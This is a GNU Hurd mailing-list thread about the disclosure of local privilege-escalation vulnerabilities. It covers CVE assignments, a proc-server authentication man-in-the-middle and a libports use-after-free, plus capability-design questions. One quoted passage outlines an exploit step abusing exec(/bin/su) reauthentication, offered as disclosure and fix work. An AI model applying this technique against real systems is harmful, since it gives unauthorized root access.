    ------6XEK2VIZF4P5VQ4PYGX077CFFPZWGQ
    Content-Type: text/plain;
    charset=utf-8
    Content-Transfer-Encoding: quoted-printable

    Thank you very much!
    I now understand things that I desperately want to know about hurd internal.

    On November 2, 2021 6:31:17 PM GMT+02:00, Sergey Bugaev <bugaevc@gmail.com> wrote:
    Hello!

    As promised [0], here are the details of the Hurd vulnerabilities I have found >earlier this year [1] [2].

    [0]: https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg00006.html
    [1]: https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html
    [2]: https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg00008.html

    (You'll notice that I'm formatting this just like a patch series. I'll even try
    to send it out with git send-email; if you're reading this, it has worked!)

    These texts are partly based on the mails and write-ups I sent to Samuel at the
    time, but most of the text is new, rewritten to incorporate the better >understanding that I now have as the result of exploring the issues and working
    with Samuel on fixing them.

    I've grouped the information by the four "major" vulnerabilities -- ones that I
    have actually written an exploit for. Other related vulnerabilities are briefly
    mentioned in the notes sections.

    Each text contains a short and a detailed description of the relevant issue, >source code of the exploit I have written for the issue, commentary on how the >exploit works, and a description of how we fixed the issue. While this should >hopefully be an interesting read for everyone, understanding some of the details
    requires some familiarity with the Mach and Hurd mechanisms involved. I've tried
    to briefly describe the necessary bits (as I understand them myself) in the >"Background" sections throughout the texts -- hopefully this will make it easier
    to understand. Please don't hesitate to ask me questions (while I can still >answer them)!

    I also hope that all this info should be enough to finally allocate official >CVEs for these vulnerabilities, if anyone is willing to go forward with that in
    my absence.

    While all of the vulnerabilities described have been fixed, most of the fixes >are not yet in the main Hurd tree for legal reasons: namely, my FSF copyright >assignment process is still unfinished. All the out-of-tree patches with the >fixes can be found in the Debian repo [3].

    [3]: https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches

    Our work on fixing these vulnerabilities required some large changes and touches
    most of the major Hurd components (now I can actually name them: glibc, GNU >Mach, libports, libpager, libfshelp, libshouldbeinlibc, lib*fs, proc server, >exec server, *fs, ...) -- and this was even more true of the previous designs >that we have considered (the final design ended up being the most compact one).
    Still, it's kind of amazing _how little_ has changed: we managed to keep most >things working just as they were (with the notable exception of mremap ()). The
    Hurd still looks and behaves like the Hurd, despite all the changes.

    Finally, I should note that there still are unfixed vulnerabilities in the Hurd.
    There's another "major" vulnerability that I have already written an exploit >for, but I can't publish the details since it's still unfixed. I won't be there
    to see it fixed (assuming it will take less than a year to fix it -- which I >hope it will), but Samuel should have all the details.

    Let me know what you think!

    Sergey


    ------6XEK2VIZF4P5VQ4PYGX077CFFPZWGQ
    Content-Type: text/html;
    charset=utf-8
    Content-Transfer-Encoding: quoted-printable

    <html><head></head><body>Thank you very much!<br>I now understand things that I desperately want to know about hurd internal.<br><br><div class="gmail_quote">On November 2, 2021 6:31:17 PM GMT+02:00, Sergey Bugaev &lt;bugaevc@gmail.com&gt; wrote:<
    blockquote class="gmail_quote" style="margin: 0pt 0pt 0pt 0.8ex; border-left: 1px solid rgb(204, 204, 204); padding-left: 1ex;">
    <pre dir="auto" class="k9mail">Hello!<br><br>As promised [0], here are the details of the Hurd vulnerabilities I have found<br>earlier this year [1] [2].<br><br>[0]: <a href="https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg00006.html">https://
    lists.gnu.org/archive/html/bug-hurd/2021-10/msg00006.html</a><br>[1]: <a href="https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html">https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html</a><br>[2]: <a href="https://lists.gnu.org/
    archive/html/bug-hurd/2021-08/msg00008.html">https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg00008.html</a><br><br>(You'll notice that I'm formatting this just like a patch series. I'll even try<br>to send it out with git send-email; if you're
    reading this, it has worked!)<br><br>These texts are partly based on the mails and write-ups I sent to Samuel at the<br>time, but most of the text is new, rewritten to incorporate the better<br>understanding that I now have as the result of exploring the
    issues and working<br>with Samuel on fixing them.<br><br>I've grouped the information by the four "major" vulnerabilities -- ones that I<br>have actually written an exploit for. Other related vulnerabilities are briefly<br>mentioned in the notes sections.
    <br><br>Each text contains a short and a detailed description of the relevant issue,<br>source code of the exploit I have written for the issue, commentary on how the<br>exploit works, and a description of how we fixed the issue. While this should<br>
    hopefully be an interesting read for everyone, understanding some of the details<br>requires some familiarity with the Mach and Hurd mechanisms involved. I've tried<br>to briefly describe the necessary bits (as I understand them myself) in the<br>"
    Background" sections throughout the texts -- hopefully this will make it easier<br>to understand. Please don't hesitate to ask me questions (while I can still<br>answer them)!<br><br>I also hope that all this info should be enough to finally allocate
    official<br>CVEs for these vulnerabilities, if anyone is willing to go forward with that in<br>my absence.<br><br>While all of the vulnerabilities described have been fixed, most of the fixes<br>are not yet in the main Hurd tree for legal reasons: namely,
    my FSF copyright<br>assignment process is still unfinished. All the out-of-tree patches with the<br>fixes can be found in the Debian repo [3].<br><br>[3]: <a href="https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches">https://salsa.
    debian.org/hurd-team/hurd/-/tree/master/debian/patches</a><br><br>Our work on fixing these vulnerabilities required some large changes and touches<br>most of the major Hurd components (now I can actually name them: glibc, GNU<br>Mach, libports, libpager,
    libfshelp, libshouldbeinlibc, lib*fs, proc server,<br>exec server, *fs, ...) -- and this was even more true of the previous designs<br>that we have considered (the final design ended up being the most compact one).<br>Still, it's kind of amazing _how
    little_ has changed: we managed to keep most<br>things working just as they were (with the notable exception of mremap ()). The<br>Hurd still looks and behaves like the Hurd, despite all the changes.<br><br>Finally, I should note that there still are
    unfixed vulnerabilities in the Hurd.<br>There's another "major" vulnerability that I have already written an exploit<br>for, but I can't publish the details since it's still unfixed. I won't be there<br>to see it fixed (assuming it will take less than a
    year to fix it -- which I<br>hope it will), but Samuel should have all the details.<br><br>Let me know what you think!<br><br>Sergey<br><br></pre></blockquote></div></body></html>
    ------6XEK2VIZF4P5VQ4PYGX077CFFPZWGQ--

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Amos Jeffries@21:1/5 to Sergey Bugaev on Wed Nov 3 13:20:02 2021
    Thank you. I will read up on these over the next day and (unless someone objects first) request CVE for them.

    Cheers
    Amos


    On 3/11/21 05:31, Sergey Bugaev wrote:
    Hello!

    As promised [0], here are the details of the Hurd vulnerabilities I have found
    earlier this year [1] [2].

    [0]: https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg00006.html
    [1]: https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html
    [2]: https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg00008.html

    (You'll notice that I'm formatting this just like a patch series. I'll even try
    to send it out with git send-email; if you're reading this, it has worked!)

    These texts are partly based on the mails and write-ups I sent to Samuel at the
    time, but most of the text is new, rewritten to incorporate the better understanding that I now have as the result of exploring the issues and working
    with Samuel on fixing them.

    I've grouped the information by the four "major" vulnerabilities -- ones that I
    have actually written an exploit for. Other related vulnerabilities are briefly
    mentioned in the notes sections.

    Each text contains a short and a detailed description of the relevant issue, source code of the exploit I have written for the issue, commentary on how the
    exploit works, and a description of how we fixed the issue. While this should hopefully be an interesting read for everyone, understanding some of the details
    requires some familiarity with the Mach and Hurd mechanisms involved. I've tried
    to briefly describe the necessary bits (as I understand them myself) in the "Background" sections throughout the texts -- hopefully this will make it easier
    to understand. Please don't hesitate to ask me questions (while I can still answer them)!

    I also hope that all this info should be enough to finally allocate official CVEs for these vulnerabilities, if anyone is willing to go forward with that in
    my absence.

    While all of the vulnerabilities described have been fixed, most of the fixes are not yet in the main Hurd tree for legal reasons: namely, my FSF copyright assignment process is still unfinished. All the out-of-tree patches with the fixes can be found in the Debian repo [3].

    [3]: https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches

    Our work on fixing these vulnerabilities required some large changes and touches
    most of the major Hurd components (now I can actually name them: glibc, GNU Mach, libports, libpager, libfshelp, libshouldbeinlibc, lib*fs, proc server, exec server, *fs, ...) -- and this was even more true of the previous designs that we have considered (the final design ended up being the most compact one).
    Still, it's kind of amazing _how little_ has changed: we managed to keep most things working just as they were (with the notable exception of mremap ()). The
    Hurd still looks and behaves like the Hurd, despite all the changes.

    Finally, I should note that there still are unfixed vulnerabilities in the Hurd.
    There's another "major" vulnerability that I have already written an exploit for, but I can't publish the details since it's still unfixed. I won't be there
    to see it fixed (assuming it will take less than a year to fix it -- which I hope it will), but Samuel should have all the details.

    Let me know what you think!

    Sergey


    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Samuel Thibault@21:1/5 to All on Fri Nov 5 12:10:01 2021
    William ML Leslie, le ven. 05 nov. 2021 21:18:50 +1100, a ecrit:
    I've been meaning to ask: Why does the hurd attempt to re-authenticate open file descriptors during exec?

    That's done only when the auth port changes, i.e. uid/gid etc. following
    a setuid/setgid/etc. trigger.

    Samuel

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From William ML Leslie@21:1/5 to All on Fri Nov 5 11:50:04 2021
    On Fri, 5 Nov 2021 at 21:41, Samuel Thibault <samuel.thibault@gnu.org>
    wrote:

    William ML Leslie, le ven. 05 nov. 2021 21:18:50 +1100, a ecrit:
    which makes the root filesystem reauthenticate all of the
    processes file descriptors.

    It seems to eliminate a rather convenient method of delegation; a
    process opening a descriptor, forking and executing a child, and
    dropping privileges, while retaining access to that one resource.

    reauthenticating doesn't mean closing. File permissions for open are
    checked at the open step, not later on. But then there are other things
    than just opening a file, such as starting a translator, which we don't necessarily want to let the unprivileged-with-one-opened-file do.

    Samuel


    I see, thank you!

    --
    William ML Leslie

    <div dir="ltr"><div dir="ltr"><div class="gmail_default" style="font-family:arial,sans-serif">On Fri, 5 Nov 2021 at 21:41, Samuel Thibault &lt;<a href="mailto:samuel.thibault@gnu.org">samuel.thibault@gnu.org</a>&gt; wrote:<br></div></div><div class="
    gmail_quote"><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex">William ML Leslie, le ven. 05 nov. 2021 21:18:50 +1100, a ecrit:<br>
    &gt; &gt; which makes the root filesystem reauthenticate all of the<br>
    &gt; &gt; processes file descriptors.<br>
    &gt; <br>
    &gt; It seems to eliminate a rather convenient method of delegation; a<br>
    &gt; process opening a descriptor, forking and executing a child, and<br>
    &gt; dropping privileges, while retaining access to that one resource.<br>

    reauthenticating doesn&#39;t mean closing. File permissions for open are<br> checked at the open step, not later on. But then there are other things<br> than just opening a file, such as starting a translator, which we don&#39;t<br> necessarily want to let the unprivileged-with-one-opened-file do.<br>

    Samuel<br>
    </blockquote></div><div><br></div><div><div style="font-family:arial,sans-serif" class="gmail_default">I see, thank you!</div></div><br>-- <br><div dir="ltr" class="gmail_signature"><div dir="ltr"><div>William ML Leslie<br></div></div></div></div>

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From William ML Leslie@21:1/5 to Sergey Bugaev on Fri Nov 5 11:20:01 2021
    CC list reduced considering I'm going to ask about a slightly different
    topic.

    This is fantastic research Sergey, this vuln especially so.

    On Wed, 3 Nov 2021 at 03:49, Sergey Bugaev <bugaevc@gmail.com> wrote:


    To get someone privileged to authenticate to me, I went with the same exec(/bin/su) trick, which makes the root filesystem reauthenticate all of the
    processes file descriptors. If we place our own port among the file descriptors,
    we'll get a io_reauthenticate () call from the root filesystem on it, which we'll forward to the proc server, pretending to reauthenticate our process.


    I've been meaning to ask: Why does the hurd attempt to re-authenticate open file descriptors during exec? It seems to eliminate a rather convenient
    method of delegation; a process opening a descriptor, forking and executing
    a child, and dropping privileges, while retaining access to that one
    resource. I realise you can still do this by manipulating ports directly
    (this only applies specifically to the contents of the descriptor table).
    Is it required for posix compliance somehow, or was there some other interesting use case?

    --
    William ML Leslie

    <div dir="ltr"><div dir="ltr"><div class="gmail_default" style="font-family:arial,sans-serif">CC list reduced considering I&#39;m going to ask about a slightly different topic.</div><div class="gmail_default" style="font-family:arial,sans-serif"><br></
    <div class="gmail_default" style="font-family:arial,sans-serif">This is fantastic research Sergey, this vuln especially so.<br></div></div><br><div class="gmail_quote"><div dir="ltr" class="gmail_attr">On Wed, 3 Nov 2021 at 03:49, Sergey Bugaev &lt;<
    a href="mailto:bugaevc@gmail.com">bugaevc@gmail.com</a>&gt; wrote:<br></div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex"><br>
    To get someone privileged to authenticate to me, I went with the same<br> exec(/bin/su) trick, which makes the root filesystem reauthenticate all of the<br>
    processes file descriptors. If we place our own port among the file descriptors,<br>
    we&#39;ll get a io_reauthenticate () call from the root filesystem on it, which<br>
    we&#39;ll forward to the proc server, pretending to reauthenticate our process.<br>
    <br></blockquote><div><br></div><div><div style="font-family:arial,sans-serif" class="gmail_default">I&#39;ve been meaning to ask: Why does the hurd attempt to re-authenticate open file descriptors during exec?  It seems to eliminate a rather convenient
    method of delegation; a process opening a descriptor, forking and executing a child, and dropping privileges, while retaining access to that one resource.  I realise you can still do this by manipulating ports directly (this only applies specifically to
    the contents of the descriptor table).  Is it required for posix compliance somehow, or was there some other interesting use case?<br clear="all"></div></div></div><br>-- <br><div dir="ltr" class="gmail_signature"><div dir="ltr"><div>William ML Leslie<
    </div></div></div></div>

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Samuel Thibault@21:1/5 to All on Fri Nov 5 12:00:03 2021
    William ML Leslie, le ven. 05 nov. 2021 21:18:50 +1100, a ecrit:
    which makes the root filesystem reauthenticate all of the
    processes file descriptors.

    It seems to eliminate a rather convenient method of delegation; a
    process opening a descriptor, forking and executing a child, and
    dropping privileges, while retaining access to that one resource.

    reauthenticating doesn't mean closing. File permissions for open are
    checked at the open step, not later on. But then there are other things
    than just opening a file, such as starting a translator, which we don't necessarily want to let the unprivileged-with-one-opened-file do.

    Samuel

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Sergey Bugaev@21:1/5 to samuel.thibault@gnu.org on Fri Nov 5 12:40:01 2021
    On Fri, Nov 5, 2021 at 1:41 PM Samuel Thibault <samuel.thibault@gnu.org> wrote:

    William ML Leslie, le ven. 05 nov. 2021 21:18:50 +1100, a ecrit:
    which makes the root filesystem reauthenticate all of the
    processes file descriptors.

    It seems to eliminate a rather convenient method of delegation; a
    process opening a descriptor, forking and executing a child, and
    dropping privileges, while retaining access to that one resource.

    reauthenticating doesn't mean closing. File permissions for open are
    checked at the open step, not later on. But then there are other things
    than just opening a file, such as starting a translator, which we don't necessarily want to let the unprivileged-with-one-opened-file do.

    If I may add to what Samuel has said...

    The Hurd is a capability system, but not a *pure* capability system:
    it implements Unix semantics on top of Mach/capabilities. File
    descriptors, exec, setuid, etc. are all Unix concepts. And in a Unix
    system, you definitely expect that a change in a process' authority
    applies to things like which files it is allowed to open through a
    file descriptor that refers to a directory, which is why all the file descriptors have to be reauthenticated when the auth changes. The file descriptor table is really meant to hold I/O objects, not arbitrary
    ports; and I/O objects are expected to behave in a predictable way
    when reauthenticated: you keep access to the object, but the object
    reconsiders what further things you can do to it / access through it, according to your new authority. As another example, you can open a
    device while you have root access, then drop privileges; you'll still
    be able to read or write the file descriptor, but you won't be able to fchown/file_chown it.

    If you ignore the Unix personality of the system, you can indeed pass
    any ports to an otherwise unprivileged task, but you better do it
    outside of the file descriptors table. The Mach mechanisms for that
    are the bootstrap port and mach_ports_register ().

    Sergey

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From William ML Leslie@21:1/5 to Sergey Bugaev on Fri Nov 5 14:00:01 2021
    On Fri, 5 Nov 2021 at 22:17, Sergey Bugaev <bugaevc@gmail.com> wrote:

    On Fri, Nov 5, 2021 at 1:41 PM Samuel Thibault <samuel.thibault@gnu.org> wrote:

    William ML Leslie, le ven. 05 nov. 2021 21:18:50 +1100, a ecrit:
    which makes the root filesystem reauthenticate all of the
    processes file descriptors.

    It seems to eliminate a rather convenient method of delegation; a
    process opening a descriptor, forking and executing a child, and
    dropping privileges, while retaining access to that one resource.

    reauthenticating doesn't mean closing. File permissions for open are checked at the open step, not later on. But then there are other things than just opening a file, such as starting a translator, which we don't necessarily want to let the unprivileged-with-one-opened-file do.

    If I may add to what Samuel has said...

    The Hurd is a capability system, but not a *pure* capability system:
    it implements Unix semantics on top of Mach/capabilities. File
    descriptors, exec, setuid, etc. are all Unix concepts.


    Indeed, and the reason I ask is because I'd like to enable more capability patterns, even though Mach and The HURD don't protect ports like they are capabilities (c.f. hurd/utils/msgport.c for some really cool and impressive "look at how much power you have!" moments).


    And in a Unix
    system, you definitely expect that a change in a process' authority
    applies to things like which files it is allowed to open through a
    file descriptor that refers to a directory, which is why all the file descriptors have to be reauthenticated when the auth changes. The file descriptor table is really meant to hold I/O objects, not arbitrary
    ports; and I/O objects are expected to behave in a predictable way
    when reauthenticated: you keep access to the object, but the object reconsiders what further things you can do to it / access through it, according to your new authority.


    I'm still not confident this is the right approach, but if that's limited
    to changing the behaviour of translator nodes that is much less scary.

    One wonderful property of capabilities is that delegating them works. You should be able to weaken them deliberately, but having them weakened for
    you is a bit weird. The stranger thing is having them become more powerful without an explicit action. Implicitly gaining more power on what is
    supposed to be a capability sounds like a new way to introduce a confused deputy vulnerability. I have read access to this, I exec you, and you have write access. If you were fishing this file out of the file system you'd expect it to have your authority, but if you were passed it from another program, you expect to use the authority that the caller provided and no higher.


    As another example, you can open a
    device while you have root access, then drop privileges; you'll still
    be able to read or write the file descriptor, but you won't be able to fchown/file_chown it.


    Righto yes, a port to an open file is a port to an io object, and io
    objects can implement messages like io_mod_owner and so. I'd missed that
    these were not distinct responsibilities.

    If you ignore the Unix personality of the system, you can indeed pass
    any ports to an otherwise unprivileged task, but you better do it
    outside of the file descriptors table. The Mach mechanisms for that
    are the bootstrap port and mach_ports_register ().


    Or alternatively, ignore glibc exec() and talk to the exec and proc servers directly.

    --
    William ML Leslie

    <div dir="ltr"><div dir="ltr"><div class="gmail_default" style="font-family:arial,sans-serif">On Fri, 5 Nov 2021 at 22:17, Sergey Bugaev &lt;<a href="mailto:bugaevc@gmail.com">bugaevc@gmail.com</a>&gt; wrote:<br></div></div><div class="gmail_quote"><
    blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex">On Fri, Nov 5, 2021 at 1:41 PM Samuel Thibault &lt;<a href="mailto:samuel.thibault@gnu.org" target="_blank">samuel.thibault@gnu.org</a>
    &gt; wrote:<br>
    &gt;<br>
    &gt; William ML Leslie, le ven. 05 nov. 2021 21:18:50 +1100, a ecrit:<br>
    &gt; &gt; &gt; which makes the root filesystem reauthenticate all of the<br> &gt; &gt; &gt; processes file descriptors.<br>
    &gt; &gt;<br>
    &gt; &gt; It seems to eliminate a rather convenient method of delegation; a<br> &gt; &gt; process opening a descriptor, forking and executing a child, and<br> &gt; &gt; dropping privileges, while retaining access to that one resource.<br> &gt;<br>
    &gt; reauthenticating doesn&#39;t mean closing. File permissions for open are<br>
    &gt; checked at the open step, not later on. But then there are other things<br>
    &gt; than just opening a file, such as starting a translator, which we don&#39;t<br>
    &gt; necessarily want to let the unprivileged-with-one-opened-file do.<br>

    If I may add to what Samuel has said...<br>

    The Hurd is a capability system, but not a *pure* capability system:<br>
    it implements Unix semantics on top of Mach/capabilities. File<br>
    descriptors, exec, setuid, etc. are all Unix concepts.</blockquote><div><br></div><div><div style="font-family:arial,sans-serif" class="gmail_default">Indeed, and the reason I ask is because I&#39;d like to enable more capability patterns, even though
    Mach and The HURD don&#39;t protect ports like they are capabilities (c.f. hurd/utils/msgport.c for some really cool and impressive &quot;look at how much power you have!&quot; moments).</div></div><div> </div><blockquote class="gmail_quote" style="
    margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex"> And in a Unix<br>
    system, you definitely expect that a change in a process&#39; authority<br> applies to things like which files it is allowed to open through a<br>
    file descriptor that refers to a directory, which is why all the file<br> descriptors have to be reauthenticated when the auth changes. The file<br> descriptor table is really meant to hold I/O objects, not arbitrary<br>
    ports; and I/O objects are expected to behave in a predictable way<br>
    when reauthenticated: you keep access to the object, but the object<br> reconsiders what further things you can do to it /  access through it,<br> according to your new authority.</blockquote><div><br></div><div><div style="font-family:arial,sans-serif" class="gmail_default">I&#39;m still not confident this is the right approach, but if that&#39;s limited to changing the behaviour of translator
    nodes that is much less scary.</div><div style="font-family:arial,sans-serif" class="gmail_default"><br></div><div style="font-family:arial,sans-serif" class="gmail_default">One wonderful property of capabilities is that delegating them works.  You
    should be able to weaken them deliberately, but having them weakened for you is a bit weird.  The stranger thing is having them become more powerful without an explicit action.  Implicitly gaining more power on what is supposed to be a capability
    sounds like a new way to introduce a confused deputy vulnerability.  I have read access to this, I exec you, and you have write access.  If you were fishing this file out of the file system you&#39;d expect it to have your authority, but if you were
    passed it from another program, you expect to use the authority that the caller provided and no higher.<br></div></div><div> </div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex">
    As another example, you can open a<br>
    device while you have root access, then drop privileges; you&#39;ll still<br> be able to read or write the file descriptor, but you won&#39;t be able to<br> fchown/file_chown it.<br>
    <br></blockquote><div><br></div><div style="font-family:arial,sans-serif" class="gmail_default">Righto yes, a port to an open file is a port to an io object, and io objects can implement messages like io_mod_owner and so.  I&#39;d missed that these were
    not distinct responsibilities.<br></div><div style="font-family:arial,sans-serif" class="gmail_default"></div><blockquote class="gmail_quote" style="margin:0px 0px 0px 0.8ex;border-left:1px solid rgb(204,204,204);padding-left:1ex">
    If you ignore the Unix personality of the system, you can indeed pass<br>
    any ports to an otherwise unprivileged task, but you better do it<br>
    outside of the file descriptors table. The Mach mechanisms for that<br>
    are the bootstrap port and mach_ports_register ().<br></blockquote><div><br></div><div><div style="font-family:arial,sans-serif" class="gmail_default">Or alternatively, ignore glibc exec() and talk to the exec and proc servers directly.</div><br></div>--
    <br></div><div dir="ltr" class="gmail_signature"><div dir="ltr"><div>William ML Leslie<br></div></div></div></div>

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Sergey Bugaev@21:1/5 to william.leslie.ttg@gmail.com on Fri Nov 5 15:30:02 2021
    Disclaimer: while I'm a fan of capabilities / object capabilities / capability-based security, and also a "Unix person", I (obviously)
    wasn't among those who have designed Mach, or Hurd, or Unix. So I
    cannot speak authoritatively, I can only attempt to share what my
    understanding is.

    On Fri, Nov 5, 2021 at 3:52 PM William ML Leslie
    <william.leslie.ttg@gmail.com> wrote:

    On Fri, 5 Nov 2021 at 22:17, Sergey Bugaev <bugaevc@gmail.com> wrote:
    The Hurd is a capability system, but not a *pure* capability system:
    it implements Unix semantics on top of Mach/capabilities. File
    descriptors, exec, setuid, etc. are all Unix concepts.


    Indeed, and the reason I ask is because I'd like to enable more capability patterns, even though Mach and The HURD don't protect ports like they are capabilities (c.f. hurd/utils/msgport.c for some really cool and impressive "look at how much power you
    have!" moments).

    I don't think I understand what you mean by "don't protect ports like
    they are capabilities". Surely Mach ports are capabilities!

    You can get the ports that a task has if you have its task port, but
    in that case you already have full control over the task, so you could
    make it send the ports to you explicitly. msg_get_init_port ()
    alternatively lets you specify the auth port as a credential, but if
    you have that you could trivially get the task port too.

    Capabilities can grant different access to the actual object they
    reference. In _object_ capability environments (think E or Java), this
    is not true, you either have a capability to the object or not. But
    then there are objects/capabilities whose only purpose is to provide
    limited access to another object/capability, so it's effectively the
    same thing.

    In Apple's Mach, there's a "task info port", task_info_t, that only
    grants you basic inspect-only access to a task. But actual Mach task
    ports (and the only kind that GNU Mach has) grant you complete, full
    access to the task. And if you have full access to the task, there's
    nothing insecure about getting the ports that the task has.

    One wonderful property of capabilities is that delegating them works. You should be able to weaken them deliberately, but having them weakened for you is a bit weird. The stranger thing is having them become more powerful without an explicit action.
    Implicitly gaining more power on what is supposed to be a capability sounds like a new way to introduce a confused deputy vulnerability.

    Well, yes, sure, setuid is the textbook example of how to get confused deputies: a setuid executable serves two masters (the invoker and the
    file owner), most of its context is set up by the invoker, so it needs
    to ignore things like LD_LIBRARY_PATH, but you can never remember all
    the things you have to ignore, and so on.

    But setuid is also the only way in Unix to raise privileges! Plan 9,
    for instance, has /dev/capuse, which lets you raise your privileges at
    run time (after authenticating). The Hurd does the same — you can authenticate to the password server and get a new auth port; and using
    the msg.defs you can even change auth of other processes this way,
    without them having to do anything explicitly. But the Hurd still has
    to keep support for the (arguably inferior) Unix setuid mechanism too.

    If strict Unix compatibility was not a concern, could addauth &
    friends replace setuid completely? I believe this would require
    converting all sorts of setuid utilities into privileged servers. The
    password server is essentially 'su' turned into a server; all the
    other setuid utilities would need similar treatment too. So for
    instance there'd be a ping server that does the privileged operation
    (using raw sockets) at the request of unprivileged clients.

    Or alternatively, ignore glibc exec() and talk to the exec and proc servers directly.

    Sure, you could do that, but then you wouldn't get the actual setuid
    behavior. /bin/su would still run as your user, and would not be able
    to give you a root shell.

    Sergey

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Amos Jeffries@21:1/5 to Sergey Bugaev on Mon Nov 8 21:50:02 2021
    On 3/11/21 05:31, Sergey Bugaev wrote:
    Short description
    =================

    The use of authentication protocol in the proc server is vulnerable to man-in-the-middle attacks, which can be exploited for local privilege escalation
    to get full root access to the system.


    This has been assigned CVE-2021-43414


    Amos

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Amos Jeffries@21:1/5 to Sergey Bugaev on Mon Nov 8 21:50:02 2021
    On 3/11/21 05:31, Sergey Bugaev wrote:
    Short description
    =================

    libports accepts fake notification messages from any client on any port, which
    can lead to port use-after-free, which can be exploited for local privilege escalation to get full root access to the system.


    This has been assigned CVE-2021-43412


    Amos

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From =?utf-8?Q?Ludovic_Court=C3=A8s?=@21:1/5 to All on Tue Nov 9 19:10:01 2021
    Hello,

    Samuel Thibault <samuel.thibault@gnu.org> skribis:

    Thanks a lot for this writing! That'll surely be an interesting read for whoever wants to look a bit at the details of how the Hurd works. And of course thanks for finding and fixing the vulnerabilities :)

    Seconded. It’s interesting both from a security perspective and as a
    deep dive into Mach/Hurd internals; excellent work, Sergey!

    Am I right that the fixes have not been applied yet in the upstream
    repository?

    Thanks,
    Ludo’.

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Samuel Thibault@21:1/5 to All on Tue Nov 9 18:50:02 2021
    Ludovic Courtès, le mar. 09 nov. 2021 18:19:03 +0100, a ecrit:
    Am I right that the fixes have not been applied yet in the upstream repository?

    That's right. That's still waiting for the copyright assignment.

    Samuel

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From =?utf-8?Q?Ludovic_Court=C3=A8s?=@21:1/5 to All on Wed Nov 17 12:10:03 2021
    Hi Samuel, Sergey, & all,

    Samuel Thibault <samuel.thibault@gnu.org> skribis:

    Ludovic Courtès, le mar. 09 nov. 2021 18:19:03 +0100, a ecrit:
    Am I right that the fixes have not been applied yet in the upstream
    repository?

    That's right. That's still waiting for the copyright assignment.

    How about making it the first contribution without FSF copyright
    assignment?

    The delay we observe here might be an outlier in FSF assignment
    processing times, but regardless, it’s a good illustration of what a
    project can lose by waiting for this long.

    Thanks,
    Ludo’.

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)